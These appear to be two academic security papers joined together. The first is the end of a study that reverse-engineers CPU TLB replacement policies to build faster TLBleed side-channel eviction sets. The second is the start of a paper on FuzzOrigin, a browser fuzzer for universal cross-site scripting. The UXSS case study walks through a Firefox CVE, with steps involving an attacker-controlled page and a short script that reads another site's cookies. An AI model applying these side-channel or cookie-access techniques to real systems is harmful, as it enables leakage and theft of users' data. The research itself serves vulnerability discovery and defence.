memory access to each set of interest. This not only signifi-
cantly improves baseline performance, but also enables us to
use the eviction loops discussed in §5.3 as a receive primitive.

We measured the bandwidth of our channel while trans-
mitting 100 000 words of 32 bits—16 for payload, 8 for se-
quencing, and 8 for error detection. Using naive evictions, we
observe an average effective bandwidth of 5.6 MBit/s, peak-
ing at 6.2 MBit/s. Meanwhile, optimized evictions measured
11 MBit/s on average, with a maximum of 11.7 MBit/s, for
a relative improvement of nearly 2× on average and 89%
peak, which mirrors the sample rate improvements seen in
Table 5. The undetected error rate is below 2 ·10−5 for both
naive and optimized eviction sets, with at most one word being
erroneous—in line with the original TLBleed implementation.

7 Related Work

Having laid out attacks that target the TLB in §2.2 and §6, we
now focus on related work that focuses on manipulating the
TLB state for benign purposes, as well as more general work
on reverse engineering and exploiting the cache subsystem.
We also address the implications of detailed knowledge of
replacement policies on secure TLB designs.

Manipulating TLB State Since address translation repre-
sents a considerable proportion of memory access latency,
monitoring and controlling the TLB state has been the focus
of much prior work concerned with real-time systems [20,28],
where preserving bounded latency guarantees is crucial. Fur-
thermore, the systems security community has previously
explored using TLB entries desynchronized from their in-
memory PTEs to implement memory protections such as non-
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executable [31] and execute-only memory [12] in software.
In addition, TLB desynchronization has been previously used
in adversarial settings to hide rootkits from detection [30] or
defeat checksumming-based software tamperproofing [35].

Reverse Engineering Cache Subsystems While cache and
TLB reverse engineering efforts often go hand in hand with
exploit development [14, 15, 17, 22, 32, 33] or are prompted
by the need to improve existing attacks [25], there is litera-
ture on more benign applications. Abel and Reineke [1, 2]
introduced permutation vectors and reverse engineered many
CPU cache properties, among which replacement policies,
for the purpose of developing better software optimizations
and cycle-accurate simulators. A master thesis by Zhu [40]
reported hash functions and inclusion policy for the Intel Sky-
lake TLB, but mistakenly reported the replacement policies
of the dTLB and sTLB as LRU.

Exploiting Data Caches Cache attacks have a long tradi-
tion in the systems security literature, using cache set con-
tention as a side channel and often targeting cryptographic
algorithms [10, 18, 24, 29, 37]. Guanciale et al. [16] showed
that caches can also be purposely desynchronized to cre-
ate a so-called cache storage channel, serving as an alter-
native to timing-based attacks. Additionally, more recent at-
tacks [27, 38] have explored other microarchitectural side
channels in order to increase granularity beyond cache line
size. Finally, cache attacks such as FLUSH+RELOAD [37]
have been recently repurposed as convenient covert channels
to leak information in the context of Spectre and other tran-
sient execution attacks [21].

Secure TLBs To address the various attacks on the TLB,
Deng et al. [7] have proposed secure designs that either parti-
tion the TLB (SP-TLB) or introduce randomness in TLB loads
(RF-TLB). SP-TLB would retain the same security properties
whether or not the attacker knows the replacement policies in
use. Indeed, any (statically or dynamically) partitioned TLB
will successfully prevent an attacker from adversarially evict-
ing a victim entry, as we have seen with some Intel iTLBs.

The property offered by RF-TLB of decorrelating TLB
states from access patterns in the secure region remains unaf-
fected by the attacker’s knowledge of replacement policies.
However, as noted by the authors, practical implementations
should not randomize all TLB accesses to limit the perfor-
mance impact. If the randomization frequency chosen by a
practical implementation can be overcome by an attacker with
a sufficient number of repetitions, then our eviction sets can,
in principle, make the attack more efficient. However, since
randomized replacement entries can fall outside of the tar-
geted set, an attacker would have a harder time implementing
optimized eviction sets on RF-TLB.

8 Conclusion

In this paper, we introduced TLB desynchronization as a novel
way of reverse engineering previously inscrutable TLB prop-
erties. This allowed us to expose behavior previously undocu-
mented and we subsequently used these new insights to better
understand—and thus manipulate—the TLB, constructing
optimized eviction sets. We showed how this new eviction
primitive improves existing TLB-based attacks. Finally, we
posit that this work is a stepping stone towards gaining a more
complete model of the dynamic behavior of the memory sub-
system of modern CPUs, knowledge that is crucial not only to
developing more effective attacks, but for constructing more
informed defenses as well.
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A Reverse Engineering AMD

In this section we lay out a set of experiments that do not rely
on a shared L2 TLB. Specifically, we discuss testing for the
existence of a shared TLB component, determining set size
and mapping, as well as testing for inclusivity.

Neither tested microarchitectures support PCIDs, therefore
we cannot run our PCID experiments discussed in §4.5.

A.1 Shared TLB
To verify whether a TLB has a shared component at all, we
check whether an entry primed by a data load can eventually
be used to translate an instruction fetch, or the other way
around. Specifically, we access an arbitrarily chosen page A
using one access type, followed by accessing n other pages
using the same access type. We then de-synchronize the TLB
with the in-memory page tables, and we probe A again using
the opposite access. We perform this experiment in multiple
iterations, for different values of 0 ≤ n < 5000. In case of
a shared TLB component, we would expect a hit for some
values of n. In case of full seperation between the iTLB and
dTLB, we would not expect any hits.

Our results show almost always misses, with hits occurring
in less than 0.1% of cases. We however do not consider this
proof of a shared TLB component, due to several observations
that exclude this possibility:

• Hits only occur when an instruction fetch is followed by
a data load, never the other way around.

• There is no correlation between the occurrence of hits
and the value of n.

• The amount of hits reduces when we insert cpuid in-
structions before and after each memory access, leading
us to suspect speculative execution.

We hypothesise that any spurious hits are caused by (specu-
lative) TLB prefetching. According to the AMD architecture
manual [8, 9], the hardware page table walker can perform
speculative translation, supporting our hypothesis. Thus we
conclude that the TLB is fully separated on both levels.

A.2 Set Mapping and Set Size
We now design an experiment for determining the set size and
mapping that does not rely on a shared L2 TLB. We assume
that the bits used for set indexing are a subset of the 20 least
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significant bits of a virtual page number (bits 12–31 of the
virtual address). This is reasonable because we expect the
TLB to enumerate all sets even with only 4 GiB of virtual
memory (e.g., when running 32-bit code).

We start by picking m—a guess for the number of ways—
and an arbitrary 20 bit number X , then assemble a lot of m
pages with bits 12 to 31 set to this value. In addition, we
pick a bit b, 12≤ b≤ 31, that we flip in X , obtaining Y , and
assemble an eviction lot of M pages with bits 12 to 31 set
to Y , with M chosen to be significantly larger than the sum
of any reasonable L1 and L2 set capacity. If bit b is used
by the set hash function, the eviction lot would end up in a
different set. However, if bit b is irrelevant for set selection,
we expect both lots of pages to land in the same set, with the
second one evicting (some of) the first. Therefore, we prime
the TLB with the first lot of m pages then desynchronize their
PTEs. Next we access the eviction lot 10 times, then test if
the m pages are still in the TLB. We repeat this for a large
number of iterations for various values of m and b. If we do
not consistently witness evictions of any of the m pages, we
conclude that bit b is used for set selection. If we consistently
see misses, we can deduce that bit b is irrelevant. Additionally,
if we consistently see misses regardless of the value of b we
can deduce that m is larger than the true number of ways.

Results appear inconclusive at first, as performing this ex-
periment does not always yield consistent results. However,
when filtering out the runs that are either noisy or exhibit
extremely unlikely properties (e.g., odd number of ways or
entries that are never evicted from the TLB) we are able to
detect a pattern. We consistently witness dTLB misses when
m > 8, regardless of the bit flipped. Analogously for the iTLB,
we see misses when m > 4. For the dTLB, bits 12–18 and 21
of the virtual address are involved with set indexing, while
the iTLB uses bits 12–17 and 21.

Furthermore, the fact that we consistently measure misses
for m > 8 (dTLB) and m > 4 (iTLB), regardless of the chosen
b, leads us to the conclusion that L1 has a single set, i.e., is
fully associative. If that were not the case, we would find a
value of b for which the M eviction pages would fall in a
different L1 set, thus not evicting the original m entries.

Given fully-associate L1 TLBs, we deduce the L2 dTLB
to have 256 sets, each 8-way associative. Similarly, we infer
L2i to have 128 sets, each 4-way associative. In the case of
Zen+ this contradicts the number of dTLB sets and the iTLB
number of ways as reported by cpuid, which is 192 and 8
respectively. When looking closer at the results we do notice
that flipping bit 21 only preserves all m entries when m is
much smaller than WL2d . This leads us to suspect the hash
function to be more complex than linear bit slicing, although
we have not been able to reverse engineer it.

Finally, we find the sizes of L1d and L1i as reported by
cpuid to be consistent with our experiments, as picking M
significantly lower than 64 does not show any misses.

The fact that the L1 TLBs are fully associative could be

a factor in the unreliable results of the experiment to detect
set selection bits. Keeping a perfect LRU replacement order-
ing with such a large number of ways is clearly infeasible in
hardware, therefore L1 most likely implements a replacement
policy with fewer states (e.g. tree-PLRU). We hypothesize
that, due to unavoidable L1 hits induced by our experiment
code, some of our m pages “jump ahead” in the replacement
queue and are prevented from being evicted by the eviction
set. This unavoidable amount of noise caused by a fully as-
sociative L1 also makes precisely measuring the number of
ways or the replacement policy of L1 particularly challenging.

A.3 Inclusivity

As a final experiment, we test whether the TLB is inclusive.
We remark that a strictly inclusive TLB would necessarily
admit at most WL2 entries that map to the same L2 set. Hence,
we can test inclusivity by first priming the TLB with WL2 +1
entries mapping to the same L2 set, desynchronizing after
every access, then probing whether the entries are still present.

The results consistently show WL2 +1 TLB hits, proving
both iTLB and dTLB to be non-inclusive.

B Performing Set-Pair TLBleed

Separately measuring an adversarial eviction of a target ad-
dress in both levels of the TLB is not as straight-forward as
single-level TLBleed attacks. In this section we will present
one possible way of doing this for a two-level TLB of WL1 and
WL2 ways, making minimal assumptions about its behavior.

We put no constraints on the replacement policies in use,
except that WLx misses completely flushes the set and primes
it with the new entries. Furthermore, the TLB in question
must be non-inclusive and non-exclusive, have fewer ways
in L1 than in L2, and have hash functions that are mutually
prime, i.e., an address can be assigned all possible (L1, L2) set
pairs. We assume an attacker knows the number of sets and
ways for both levels of the TLB, as well as the hash functions.

We start by allocating two lots of WL2 distinct addresses
each that will be used in alternation. At each step, we prime L1
and L2 with entries from one lot and wait for a possible victim
access. Next, when we wish to probe, we first go through our
last-accessed WL1 entries in the same order as before, timing
the accesses. We expect all L1 hits if there was no intervening
L1 access, and one or more misses otherwise.

In the second phase, we walk through all WL2 entries of our
current lot in order. If there has been no intervening activity on
any level we expect all hits once again, since we had primed
the entire set and the L1 phase doesn’t touch L2. Similarly, if
there has only been activity on L1, the previous phase would
not have evicted any L2 entry, by virtue of all L1 misses being
already primed in L2. Finally, only when there has been an
access to the L2 set do we expect at least one miss—required
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to evict the new entry—with more possible depending on the
actual replacement policy in use.

We now have two separate measurements of whether each
level has been accessed. We consider there to have been an
access to our target (L1, L2) set pair only if both phases report
misses. In any other case we classify the measurement as
either quiet or noise caused by accesses outside our interest.

When moving on to the next step, we use the other lot of
addresses, to ensure fresh priming of the TLB.

C State Evolution of Set-Pair TLBleed

In Table 6 we see in detail how the TLB state evolves in
one step of the optimized set-pair eviction loop introduced
in §6.2. We treat four cases: (a) when no access occurs to
either set, (b) and (c) when sporadic accesses happen on L1
and L2 respectively, and (d) when our actual target pair of
sets has been accessed. Worth noting is that cases (a) and
(b) have identical intermediate states, showing that the L1
phase does not affect the state of L2, regardless of L1 access.
Additionally, we see that the final states are identical across
all cases—the eviction loop is self-synchronizing, regardless
of target accesses.

Table 6: Optimized set-pair TLBleed

(a) No access: 4 L1 hits and 0 L2 misses

START (8 0 1 4)(8 0 2 1 7 6 4 X X X 3 5)

4 L1π3 (4 8 0 1)(8 0 2 1 7 6 4 X X X 3 5)
1 L1π3 (1 4 8 0)(8 0 2 1 7 6 4 X X X 3 5)
0 L1π3 (0 1 4 8)(8 0 2 1 7 6 4 X X X 3 5)
8 L1π3 (8 0 1 4)(8 0 2 1 7 6 4 X X X 3 5)

6 L1πm L2π5 (6 8 0 1)(6 8 0 2 1 7 5 4 X X X 3)
2 L1πm L2π3 (2 6 8 0)(2 8 0 6 1 7 X 4 X 5 X 3)
1 L1πm L2π4 (1 2 6 8)(1 0 2 8 7 6 X X X 4 3 5)
5 L1πm L2π11 (5 1 2 6)(5 1 0 2 8 7 6 X X X 4 3)

(b) L1 access only: 4 L1 misses and 0 L2 misses

START (T 8 0 1)(8 0 2 1 7 6 4 X X X 3 5)

4 L1πm L2π6 (4 T 8 0)(4 0 2 1 7 6 8 X X X 3 5)
1 L1πm L2π3 (1 4 T 8)(1 0 2 4 7 6 X X X 8 3 5)
0 L1πm L2π1 (0 1 4 T)(0 2 1 7 6 4 X X X 3 5 8)
8 L1πm L2π11 (8 0 1 4)(8 0 2 1 7 6 4 X X X 3 5)

6 L1πm L2π5 (6 8 0 1)(6 8 0 2 1 7 5 4 X X X 3)
2 L1πm L2π3 (2 6 8 0)(2 8 0 6 1 7 X 4 X 5 X 3)
1 L1πm L2π4 (1 2 6 8)(1 0 2 8 7 6 X X X 4 3 5)
5 L1πm L2π11 (5 1 2 6)(5 1 0 2 8 7 6 X X X 4 3)

(c) L2 access only: 4 L1 hits and 1 L2 miss

START (8 0 1 4)(T 8 0 2 1 7 6 4 X X X 3)

4 L1π3 (4 8 0 1)(T 8 0 2 1 7 6 4 X X X 3)
1 L1π3 (1 4 8 0)(T 8 0 2 1 7 6 4 X X X 3)
0 L1π3 (0 1 4 8)(T 8 0 2 1 7 6 4 X X X 3)
8 L1π3 (8 0 1 4)(T 8 0 2 1 7 6 4 X X X 3)

6 L1πm L2π6 (6 8 0 1)(6 8 0 2 1 7 T 4 X X X 3)
2 L1πm L2π3 (2 6 8 0)(2 8 0 6 1 7 X 4 X T X 3)
1 L1πm L2π4 (1 2 6 8)(1 0 2 8 7 6 X X X 4 3 T)
5 L1πm L2πm (5 1 2 6)(5 1 0 2 8 7 6 X X X 4 3)

(d) L1+L2 access: 4 L1 misses and 1 L2 miss

START (T 8 0 1)(T 8 0 2 1 7 6 4 X X X 3)

4 L1πm L2π7 (4 T 8 0)(4 0 T 1 7 2 8 X 6 X 3 X)
1 L1πm L2π3 (1 4 T 8)(1 0 T 1 4 2 X X 6 8 3 X)
0 L1πm L2π1 (0 1 4 T)(0 T 1 7 2 4 X 6 X 3 X 8)
8 L1πm L2π11 (8 0 1 4)(8 0 T 1 7 2 4 X 6 X 3 X)

6 L1πm L2π8 (6 8 0 1)(6 8 0 2 1 7 T 4 X X X 3)
2 L1πm L2π3 (2 6 8 0)(2 8 0 6 1 7 X 4 X T X 3)
1 L1πm L2π4 (1 2 6 8)(1 0 2 8 7 6 X X X 4 3 T)
5 L1πm L2πm (5 1 2 6)(5 1 0 2 8 7 6 X X X 4 3)
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Abstract

Universal cross-site scripting (UXSS) is a browser vulnerabil-
ity, making a vulnerable browser execute an attacker’s script
on any web pages loaded by the browser. UXSS is considered
a far more severe vulnerability than well-studied cross-site
scripting (XSS). This is because the impact of UXSS is not
limited to a web application, but it impacts each and every
web application as long as a victim user runs a vulnerable
browser. We find that UXSS vulnerabilities are difficult to
find, especially through fuzzing, for the following two rea-
sons. First, it is challenging to detect UXSS because it is a
semantic vulnerability. In order to detect UXSS, one needs to
understand the complex interaction semantics between web
pages. Second, it is difficult to generate HTML inputs that
trigger UXSS since one needs to drive the browser to perform
complex interactions and navigations.

This paper proposes FUZZORIGIN, a browser fuzzer de-
signed to detect UXSS vulnerabilities. FUZZORIGIN ad-
dresses the above two challenges by (i) designing an origin
sanitizer with a static origin tagging mechanism and (ii) prior-
itizing origin-update operations through generating chained-
navigation operations handling dedicated events. We im-
plemented FUZZORIGIN, which works with most modern
browsers, including Chrome, Firefox, Edge, and Safari. Dur-
ing the evaluation, FUZZORIGIN discovered four previously
unknown UXSS vulnerabilities, one in Chrome and three in
Firefox, all of which have been confirmed by the vendors.
FUZZORIGIN is responsible for finding one out of two UXSS
vulnerabilities in Chrome reported in 2021 and all three in
Firefox, highlighting its strong effectiveness in finding new
UXSS vulnerabilities.

∗The work is done at Seoul National University as an academic exchange
program.

†The work is done while the author is a graduate student at Seoul National
University.

‡Corresponding author.

1 Introduction

Modern web browsers feature client-side scripting, enabling
highly interactive dynamic web pages. By allowing the script
code such as JavaScript [39] or WebAssembly [43] to be
executed on the client-side, developers can make a web ap-
plication powerful like a native app, significantly enriching
user experience. From the security perspective, however,
client-side scripting may expose a challenging attack surface
since a script from an attacker can also be executed. This
is particularly crucial considering a typical web application
architecture—it often involves multiple players (e.g., a main
host server, a media provider, an advertiser, etc.), and a single
web page is rendered through complex interactions or naviga-
tions among these players. Hence, it is important for browsers
to faithfully determine if a given script is not from an attacker,
and thus it is safe to execute.

Cross-site scripting (XSS) is one of the extensively studied
vulnerabilities [3, 20, 25–28, 30, 44, 45, 49, 55, 56, 58–62],
exploiting the issue of client-side scripting. It is a security
vulnerability in web applications, which allows attackers to
inject client-side scripts into a vulnerable web page. Then the
attacker’s script is executed on behalf of the victim, thereby
stealing security-critical resources (e.g., a session cookie of
the vulnerable web application). It is arguably the most com-
mon and well-known vulnerability. Popular websites such as
Twitter and Facebook had numerous XSS vulnerabilities in
the past [23, 46, 53], jeopardizing users’ data.

Universal cross-site scripting (UXSS) [31] is similar to
XSS, because it scripts across sites—i.e., it allows an at-
tacker to inject and execute code on web pages loaded by
the browser. However, the key difference is that UXSS is a
vulnerability of web browsers, not web applications. There-
fore, it is considered a far more severe vulnerability than XSS.
More specifically, the impact of UXSS is universal, i.e., it is
not limited to a particular web application but rather affects
all web applications as long as a victim runs a vulnerable web
browser. Should it be found in a browser, it allows an attacker
to launch attacks against any website, irrespective of the fact
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that such websites alone do not have any security issues.

1.1 Research Challenges
Despite the pressing security needs, UXSS is a relatively
unexplored research topic compared to XSS. Focusing on
the research direction towards fuzz testing for UXSS (which
is the main focus of this paper), we think this is due to the
following two unique challenges that UXSS bears to meet the
key requirements to perform fuzz testing.
Challenge #1: UXSS Detection. First, it is challenging to
generalize a UXSS detection mechanism for fuzzing, because
it is essentially a semantic vulnerability. This is important
because the key requirement for fuzzing is a vulnerability de-
tection mechanism without false positives. In the case of XSS,
the detection is straightforward—one only needs to check if
the attacker-provided script is executed. If it is executed, then
one can determine it triggered an XSS vulnerability. However,
in the case of UXSS, simply having the attacker-provided
script being executed does not lead to UXSS. Instead, one
must carefully inspect the capability (i.e., origin [65]) that the
script execution has been granted. To be specific, one needs
to confirm that the attacker’s script has higher privileges than
it supposed to (i.e., violating the same-origin policy [42]).
Since the capability of the attacker’s script depends on how a
browsed web page interacts with different players (or servers),
understanding the interaction semantics is crucial to detect
UXSS.
Challenge #2: UXSS Triggering. Second, it is challenging
to construct HTML inputs triggering UXSS vulnerabilities
for fuzzing. We find that the root cause of UXSS stems from
the cases that the capability of the script execution is incor-
rectly updated due to the semantic mistakes in the browser.
Hence, to increase the chance to trigger UXSS, a generated
HTML should drive complex interactions between multiple
servers (i.e., complex cross-origin page loading), which leads
to frequent capability updates with respect to scripts.

1.2 FUZZORIGIN: The First UXSS Fuzzer
This paper presents FUZZORIGIN, a browser fuzzer to de-
tect UXSS vulnerabilities. To the best of our knowledge,
FUZZORIGIN is the first UXSS fuzzer. Similar to traditional
browser fuzzers [12, 32–34, 67, 69], FUZZORIGIN generates
the HTML document embedding JavaScript, based on the
knowledge of the language syntax (i.e., grammar awareness
of HTML and JavaScript). Then FUZZORIGIN runs a web
browser while providing the HTML document in hopes the
run triggers UXSS.

Unlike traditional browser fuzzers, FUZZORIGIN designs
following two unique features to address aforementioned
challenges of UXSS: i) an origin sanitizer to detect UXSS;
and ii) prioritizing origin-update operations in generating
HTML inputs.

Solution #1: Origin Sanitizer. First, the origin sanitizer
of FUZZORIGIN keeps track of server interaction semantics
through static origin tagging, which is automatically instru-
mented into the scripts marking where the script was fetched.
Leveraging the static origin tagging, when the script is exe-
cuted by the browser, FUZZORIGIN is capable of checking if
the to-be-executed script is granted with the correct capability
(i.e., a correct origin). By design, the origin sanitizer does not
have any false positive in detecting UXSS, because the static
tagging mechanism is precise.
Solution #2: Prioritizing Origin-update Operations. Sec-
ond, FUZZORIGIN prioritize origin-update operations in gen-
erating HTML inputs. This is based on the observation that
the root cause of UXSS vulnerabilities is due to incorrect ori-
gin update handling in browsers. To this end, FUZZORIGIN
generates HTML inputs triggering complex and interactive
navigation operations, which makes the browser perform
more frequent origin-update operations. In particular, HTML
inputs generated by FUZZORIGIN can be characterized by
their complex cross-origin navigation behaviors, where each
navigation is chained with another navigation using event
handlers.
Implementation and Results. We implemented
FUZZORIGIN, which works with most of modern web
browsers, including Chrome, Firefox, Edge, and Safari. Ac-
cording to our evaluation, the origin sanitizer of FUZZORIGIN
showed no false positives in identifying UXSS vulnerabili-
ties. Over the six months of lengthy, extensive evaluations,
if the origin sanitizer reports a potential UXSS vulnerability,
it is always confirmed to be true by the respective vendors.
FUZZORIGIN’s HTML generation with chained-navigation
operations indeed raised more frequent origin-updates, allow-
ing FUZZORIGIN to effectively test UXSS-relevant logic in
the browser.

Importantly, during the evaluation FUZZORIGIN discov-
ered four new UXSS vulnerabilities (one in Chrome and three
in Firefox), which is all confirmed by the respective vendors.
We highlight that UXSS vulnerabilities are extremely rare
vulnerabilities. In 2021, only two and three UXSS vulnera-
bilities were confirmed in Chrome and Firefox, respectively,
meaning that FUZZORIGIN identified 50% (in Chrome) and
100% (in Firefox) of those.

To summarize, this paper makes the following contribu-
tions:
• Analysis: Demystifying UXSS. We analyzed two previ-

ous UXSS vulnerabilities to demystify challenges from the
perspective of fuzz testing.

• Design: The first UXSS Fuzzer. We proposed
FUZZORIGIN, a UXSS fuzzing framework. It features two
unique designs for UXSS: (i) an origin sanitizer to detect
UXSS and (ii) origin-update prioritization when generating
HTML inputs.

• Result: New UXSS vulnerabilities. We found four new
UXSS vulnerabilities using FUZZORIGIN, which attributes
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50% (in Chrome) and 100% (in Firefox) of all confirmed
UXSS vulnerabilities in 2021.

2 Background

This section provides the necessary background to understand
FUZZORIGIN. We first describe the role of origin in browser
security as well as XSS and UXSS vulnerabilities related
to the origin (§2.1). Then we describe how browsers keep
track of origin within their internal data structure, the DOM
tree (§2.2).

2.1 Origin in Browser Security

The Same-Origin Policy. The same-origin policy con-
stitutes a fundamental security mechanism in modern web
browsers [66], which strictly defines boundaries between web
pages. If two web pages have the same origin, one page
can access other page’s resources and data without restric-
tion, such as DOM, cookie, fetch, localStorage, IndexedDB,
SharedWorker, and BroadcastChannel. For instance, this
policy allows a script embedded in https://bank.com/list
to access a session cookie stored by another page
https://bank.com/login as they have the same origin.

An origin is defined as a tuple of (scheme,
host, port)1. Suppose a web page is located in
http://example.org:8080/page.html, then it has the origin,
(http, example.org, 8080). This origin is the same as the
origin of http://example.org:8080/sub.html. However, it
is different from the origin of https://example.org:8080
(different scheme), http://example.net:8080 (different
host), and http://example.org:8888 (different port).
Cross-Site Scripting. Cross-site scripting (XSS) is a secu-
rity vulnerability in web applications, allowing attackers to
inject scripts into a vulnerable web page browsed by other
users. Exploiting XSS, the attacker’s injected script (e.g.,
JavaScript) is executed on the client-side in the context of the
vulnerable web page. This essentially elevates the attacker’s
privilege to access security-sensitive resources of the vulner-
able web page (e.g., a session cookie) and perform actions
on behalf of the user. XSS is mainly caused by a lack of
proper validation over attacker-provided inputs. For instance,
if the application fails to filter out script tags, the attacker
may provide a script tag as the input to be included in the
vulnerable web page.

XSS is arguably the most common publicly reported se-
curity vulnerability. Popular websites such as Twitter and
Facebook had XSS vulnerabilities in the past [23, 46, 53],
exposing numerous users’ security-sensitive data to be ex-
ploited. In order to launch XSS attacks against a certain web

1The HTML standard defines the origin as a 4-tuple (i.e., scheme, host,
port, and domain), but we omit domain as it does not change the overall story
of this paper.

application, the attacker has to find an XSS vulnerability in
the very application. In other words, an XSS vulnerability is
specific to a web application, and thus it cannot be used to
attack any other web application.
Universal Cross-Site Scripting. On the other hand, uni-
versal cross-site scripting (UXSS) is a vulnerability in web
browsers or their plugins, allowing attackers to run their code
on behalf of the web page loaded by the web browser. It is
similar to XSS, as it creates an XSS condition—i.e., UXSS
allows an attacker to execute attacker-injected code on web
pages loaded by the browser. However, the difference is that
UXSS is universal, meaning it is not specific to a particu-
lar web application. Since the UXSS vulnerability is in the
browser, the attack can be launched against any web page
loaded by the browser, including internal pages such as the
settings page. Thus, UXSS vulnerabilities are considered
the most critical security threat in the web ecosystem. Once
found in a major browser, it allows an attacker to launch at-
tacks against any website, irrespective of the fact that such
websites alone do not have any security issues.

More importantly, UXSS attacks often have more criti-
cal security impacts than typical memory corruption or re-
mote code execution vulnerabilities in modern web browsers.
In response to memory corruption attacks and side-channel
attacks such as Spectre [22], modern browsers started to
employ multi-process architecture [1, 16, 51] and site iso-
lation [13, 52]. Thus, each renderer process is tied to an
origin, and the access to other origin’s data is prevented by
the process isolation. As a result, even if a memory corruption
vulnerability in the renderer is exploited, an attacker would
not have access to other origin’s data. On the contrary, UXSS
attacks offer a unique and strong attack vector, as it allows
the attacker to access other origin’s data.

2.2 Origin Tracking in Browsers

Document Object Tree (DOM) and Origin. In order to en-
rich the user experience, modern web browsers support client-
side scripting (such as JavaScript). In response to an event
(i.e., when the browser parses <script> tag, when the browser
completes the page load, when the keyboard or mouse input
is received, when a certain time has elapsed, etc.), a web page
can be modified dynamically by executing the client-side
script. From the perspective of a browser implementation,
the client-side scripting is being supported by the interaction
between the renderer and the JavaScript engine. First, the
renderer takes web resources (e.g., raw HTML documents)
and constructs a document object model (DOM) tree, a logi-
cal tree representing the HTML. Then upon a certain event is
dispatched, the renderer invokes the JavaScript engine. The
JavaScript engine takes the DOM tree from the renderer, and
executes the script block corresponding to the dispatched
event, modifying the DOM tree. As numerous events are
fired throughout loading the web page, frequent interactions
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1 <html>
2 <body onload=on_load()>
3 <iframe src=""></iframe>
4 <script>
5 function on_load() {
6 // Printing the cookie of http://example.com
7 console.log(document.cookie)
8 }
9 document.querySelector("iframe").src = "http://subframe.com"

10 </script>
11 </body>
12 </html>

(a) HTML served by http://example.com

1 <!-- embedded in http://example.com’s iframe -->
2 <html>
3 <body>
4 <script>
5 // Printing the cookie of http://subframe.com
6 console.log(document.cookie)
7 </script>
8 </body>
9 </html>

10

(b) HTML served by http://subframe.com

Document

DOM Object

IFrame

Document

IFrame

Document

Document

IFrame

Document

Script

Document

on_load(){}
src=“subframe
”

IFrame Script

Document

on_load(){}
src=“subframe
”

Script
console.log

Document

IFrame Script

Document
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Script
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example.comOrigin

example.comOrigin

example.comOrigin

example.comOrigin

subframe.comOrigin

example.comOrigin

subframe.comOrigin

example.comOrigin

subframe.comOrigin

(c) Origin and DOM tree updates by a browser

Figure 1: An example of origin changes in the DOM tree

between the renderer and the JavaScript engine can occur.
Thus, the DOM tree is also accordingly kept being updated.

To enforce the same-origin policy, the browser keeps track
of the origin as it constructs the DOM tree. Therefore, when
the browser executes the JavaScript code triggered by a certain
event, it assures that the correct origin is provided. As this
origin tracking process is vital in understanding this paper but
complex, we take the following simplified example, showing
how the browser constructs the DOM tree and embeds the
origin for a given HTML document.
Terminology for Describing the DOM Tree. In order
to easily describe how the browser internally maintains
the DOM tree as well as the associated origin, we denote
document to be the root element of the DOM tree2. document
conceptually corresponds to the <html> tag, and it has an
additional property, origin, which stores the origin of the
document and thus represents the context of JavaScript exe-
cution within the document. When explaining the DOM tree,
we intentionally ignore all the HTML tags except <iframe>
and <script> tags, as they are necessary to understand the
origin mechanism in browsers.
Example: The Life-Cycle of Origin. In this
example, we use two HTML documents; one is
fetched from http://example.com and another from
http://subframe.com, where the former loads the lat-
ter in its iframe (shown in Figure 1a and Figure 1b).
http://subframe.com denotes a third-party site, that
http://example.com may not have control of.

2In real-world browser implementations, window is the top interface and
it has document and origin as its property. However, we regard them as the
same entity for simplicity, as they have a one-to-one correspondence in most
cases.

Once the browser fetches the HTML document from
http://example.com, it starts parsing it to construct the
DOM tree (Figure 1c- 1 ) . The root element is document
(i.e., <html> tag), where its origin is initialized to
http://example.com. The document element has the iframe
element (i.e., <iframe> tag) as a child, and iframe is ini-
tialized to have another document as a child. This child
document’s origin is initialized to http://example.com, as
the HTML standard dictates that an origin of an empty
iframe’s document inherits the parent document’s origin3.

Next, when the renderer parses the <script> tag in
HTML (Figure 1c- 2 ), it adds the script element to the
DOM tree and invokes the JavaScript engine to execute
the code in the script element. When executing, the
JavaScript engine obtains the origin for the script by travers-
ing upward from the script element until locating any
document, which is the origin of the root document (i.e.,
http://example.com). The script’s execution sets the
iframe source to http://subframe.com, which updates the
child document in the DOM tree. This changes the origin of
the child document to http://subframe.com (Figure 1c- 3 ).

Now the renderer starts parsing the new document fetched
from http://subframe.com, and it inserts another script ele-
ment to the iframe’s document (Figure 1c- 4 ). In turn, the ren-
derer invokes the JavaScript engine to execute the correspond-
ing script (line 6 on Figure 1b), which prints the document’s
cookie. Here, the origin is specified as http://subframe.com
(referring to the origin of the iframe’s document), the cookie
of http://subframe.com is printed.

3It is worth noting that the HTML standard sets special rules in determin-
ing the origin of the iframe (e.g., the sandbox attribute [38]), but we do not
consider them for simplicity.
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2

4
3

1

(a) Attack flow

1 <script>
2 if(!origin) {
3 location.reload()
4 }
5 else {
6 // Alerting the cookie of
7 // http://example.com
8 alert(document.cookie)
9 }

10 </script>

(b) Redirected script

1

if(!origin)
  reload()
else
  alert()

if(!origin)
  reload()
else
  alert()

2 3 4

(c) Origin and DOM tree updates by Firefox

Figure 2: A UXSS vulnerability in Firefox due to incorrect origins for data URLs (CVE-2017-5466).

After that, as the page loading is completed (Figure 1c-
5 ), the script function on_load() (line 5 on Figure 1a) is
invoked as it is registered as the onload handler. This function
prints the cookie of http://example.com, because the origin
is provided to be the origin of the root document.

3 Case Study on Previous UXSS Vulnerabili-
ties

This section analyzes two previous UXSS vulnerabilities in
the two most-used browsers, Firefox and Chrome, respec-
tively. Through this analysis, we attempt to showcase how
UXSS vulnerabilities occur and how the origin is related.

3.1 Incorrect Origin for Data URL

Origin of Data URL. The Location header is an HTTP re-
sponse header, which redirects a current page to the specified
URL [40] if served with a 3xx redirection response.

One URL is a data URL (data:), which embeds the data
within the URL. If the browser receives a data URL as a
redirection target, it loads the embedded data directly. One
unique aspect of this data URL is that the origin is null (i.e.,
an opaque origin [65]) per the HTML standard, implying that
a data URL page has no origin and thus has no capability to
access other pages’ resources.
CVE-2017-5466 in Firefox. The root cause of CVE-2017-
5466 [36] is that Firefox incorrectly updates the origin if the
page is redirected to a data URL and reloaded. Normally,
even if the data URL page is reloaded, it should have a null
origin. However, Firefox incorrectly updates the origin of
the reloaded data URL page to the origin of the document
before loading the data URL page. As a result, an attacker
can execute their malicious JavaScript code on behalf of the
origin before the redirection.

The attack can be performed in the following steps as
illustrated in Figure 2:
• 1 A user navigates to the target page (i.e.,
http://example.com), where the page has a link to
the attacker-controlled page (i.e., http://attacker.com).

• 2 After the target page is loaded in the browser, a user
clicks a link to navigate to the attacker’s page. Then the
browser would request a page from the attacker’s server.

• 3 Upon receiving the request, the attacker server responds
with the Location header pointing to a data URL, which
embeds the HTML as shown in Figure 2b. Then the
browser performs the in-place redirection to the data URL,
